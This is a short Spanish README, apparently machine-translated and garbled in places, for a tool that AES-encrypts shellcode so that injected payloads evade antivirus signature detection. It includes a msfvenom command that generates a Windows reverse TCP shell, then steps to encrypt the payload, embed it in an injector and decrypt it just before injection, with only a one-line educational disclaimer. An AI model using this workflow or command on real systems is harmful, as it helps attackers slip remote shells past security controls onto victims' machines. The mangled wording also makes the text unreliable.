AES_Shellcode_Encryptor

AES_SHELLCODE_ENCRYPTOR

Este repositorio contiene una herramienta que puede cifrar todo tipo de archivos y dar la salida encriptada en forma de un código de shell encriptado. El proceso de encriptar el código de shell es muy importante para los procesos de inyección para evitar la detección basada en la firma por los controles de seguridad. Considere un ejemplo de uso de un código de caparazón de trasero MetaSploit altamente detectado. Ahora, para inyectar dicho código de carcasa, necesitamos ofuscación para evitar la detección de antivirus. Esta herramienta nos ayuda a encriptar ese código de shell que se guardará en el inyector y descifrado justo antes de la inyección.

Descargo de responsabilidad: ¡solo para pruebas de seguridad y fines educativos!

Ejemplo:

1. Cree un MetaSploit Shellcode: MSFVENOM -P Windows/Shell_reverse_tcp lhost = $ localip lport = 443 -f raw -o shellcode.bin
2. Enceypt con esta herramienta: AES_SHELLCODE_ENCRYPTOR.exe shellcode.bin encrypted_code.txt mySecretencryptionKey
3. Agregue el código de shell encriptado dentro del inyector
4. descifrarlo con la clave antes de la inyección